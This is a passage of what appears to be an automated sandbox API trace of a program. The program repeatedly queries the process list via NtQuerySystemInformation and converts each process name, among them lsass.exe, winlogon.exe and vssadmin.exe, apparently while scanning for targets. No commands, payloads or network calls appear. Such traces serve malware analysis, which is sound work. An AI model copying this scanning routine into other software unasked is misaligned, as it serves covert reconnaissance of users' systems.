SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0174.362] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0174.362] RtlFreeAnsiString (AnsiString="svchost.exe") [0174.362] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0174.362] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0174.362] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0174.362] RtlFreeAnsiString (AnsiString="svchost.exe") [0174.362] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0174.362] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0174.362] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0174.362] RtlFreeAnsiString (AnsiString="svchost.exe") [0174.362] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0174.362] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0174.362] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0174.363] RtlFreeAnsiString (AnsiString="svchost.exe") [0174.363] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0174.363] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0174.363] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0174.363] RtlFreeAnsiString (AnsiString="svchost.exe") [0174.363] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0174.363] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0174.363] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0174.363] RtlFreeAnsiString (AnsiString="svchost.exe") [0174.363] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0174.363] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0174.364] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0174.364] RtlFreeAnsiString (AnsiString="svchost.exe") [0174.364] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0174.364] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0174.364] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0174.364] RtlFreeAnsiString (AnsiString="svchost.exe") [0174.364] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0174.364] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0174.364] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0174.364] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0174.364] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0174.364] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0174.364] RtlFreeAnsiString (AnsiString="svchost.exe") [0174.364] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0174.364] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0174.364] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0174.364] RtlFreeAnsiString (AnsiString="audiodg.exe") [0174.364] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0174.364] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e40 [0174.364] RtlFreeAnsiString (AnsiString="sihost.exe") [0174.364] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0174.364] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0174.364] RtlFreeAnsiString (AnsiString="svchost.exe") [0174.365] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0174.365] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0174.365] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d18d8 [0174.365] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0174.365] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0174.365] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbf88 [0174.365] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0174.365] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0174.365] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d18d8 [0174.365] RtlFreeAnsiString (AnsiString="Memory Compression") [0174.365] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0174.365] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e40 [0174.365] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0174.365] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0174.365] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0174.365] RtlFreeAnsiString (AnsiString="explorer.exe") [0174.365] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0174.365] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0174.365] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e10 [0174.365] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0174.365] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0174.365] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1ab8 [0174.365] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0174.365] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0174.366] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1b18 [0174.366] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0174.366] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0174.366] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0174.366] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0174.366] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0174.366] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0174.366] RtlFreeAnsiString (AnsiString="explorer.exe") [0174.366] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0174.366] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0174.366] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0174.366] RtlFreeAnsiString (AnsiString="explorer.exe") [0174.366] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0174.366] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0174.366] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0174.366] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0174.366] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0174.366] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0174.366] RtlFreeAnsiString (AnsiString="conhost.exe") [0174.368] Sleep (dwMilliseconds=0x64) [0175.792] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0175.793] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.793] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0175.793] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.793] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0175.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.794] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0175.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.794] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0175.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.794] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0175.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.795] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0175.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.795] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0175.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.795] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0175.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.795] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0175.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.796] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0175.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.796] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0175.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.796] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0175.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.797] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0175.797] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.797] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0175.797] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.797] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0175.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.798] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0175.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.798] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0175.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.799] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0175.799] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.799] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0175.799] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.799] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0175.800] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0175.800] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x16318) returned 0x33d60f0 [0175.800] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0175.800] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0175.800] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0560 [0175.801] RtlFreeAnsiString (AnsiString="System") [0175.801] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0175.801] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1e28 [0175.801] RtlFreeAnsiString (AnsiString="smss.exe") [0175.801] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0175.801] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0175.801] RtlFreeAnsiString (AnsiString="csrss.exe") [0175.801] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0175.801] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0175.801] RtlFreeAnsiString (AnsiString="wininit.exe") [0175.801] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0175.801] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e58 [0175.801] RtlFreeAnsiString (AnsiString="csrss.exe") [0175.801] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0175.801] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0175.801] RtlFreeAnsiString (AnsiString="winlogon.exe") [0175.801] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0175.801] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0175.801] RtlFreeAnsiString (AnsiString="services.exe") [0175.801] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0175.801] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1df8 [0175.802] RtlFreeAnsiString (AnsiString="lsass.exe") [0175.802] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0175.802] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e70 [0175.802] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0175.802] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0175.802] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e58 [0175.802] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0175.802] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0175.802] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0175.802] RtlFreeAnsiString (AnsiString="svchost.exe") [0175.802] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e28) returned 1 [0175.802] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0175.802] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0175.802] RtlFreeAnsiString (AnsiString="svchost.exe") [0175.802] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0175.802] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0175.802] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f05a0 [0175.802] RtlFreeAnsiString (AnsiString="dwm.exe") [0175.802] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0175.802] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0175.802] RtlFreeAnsiString (AnsiString="svchost.exe") [0175.802] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0175.802] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0175.802] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0175.802] RtlFreeAnsiString (AnsiString="svchost.exe") [0175.802] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0175.803] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0175.803] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0175.803] RtlFreeAnsiString (AnsiString="svchost.exe") [0175.803] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0175.803] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0175.803] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0175.803] RtlFreeAnsiString (AnsiString="svchost.exe") [0175.803] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0175.803] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0175.803] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0175.803] RtlFreeAnsiString (AnsiString="svchost.exe") [0175.803] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0175.803] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0175.803] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0175.803] RtlFreeAnsiString (AnsiString="svchost.exe") [0175.803] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0175.803] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0175.803] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0175.803] RtlFreeAnsiString (AnsiString="svchost.exe") [0175.803] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e58) returned 1 [0175.803] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0175.803] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0175.803] RtlFreeAnsiString (AnsiString="svchost.exe") [0175.803] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0175.803] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0175.803] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0175.803] RtlFreeAnsiString (AnsiString="svchost.exe") [0175.803] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e28) returned 1 [0175.804] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0175.804] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0175.804] RtlFreeAnsiString (AnsiString="svchost.exe") [0175.804] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0175.804] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0175.804] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0175.804] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0175.804] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0175.804] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0175.804] RtlFreeAnsiString (AnsiString="svchost.exe") [0175.804] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0175.804] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0175.804] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0175.804] RtlFreeAnsiString (AnsiString="audiodg.exe") [0175.804] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0175.804] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e70 [0175.804] RtlFreeAnsiString (AnsiString="sihost.exe") [0175.804] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0175.804] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0175.804] RtlFreeAnsiString (AnsiString="svchost.exe") [0175.804] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e10) returned 1 [0175.804] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0175.804] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1a18 [0175.804] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0175.804] RtlUnicodeStringToAnsiString (in: 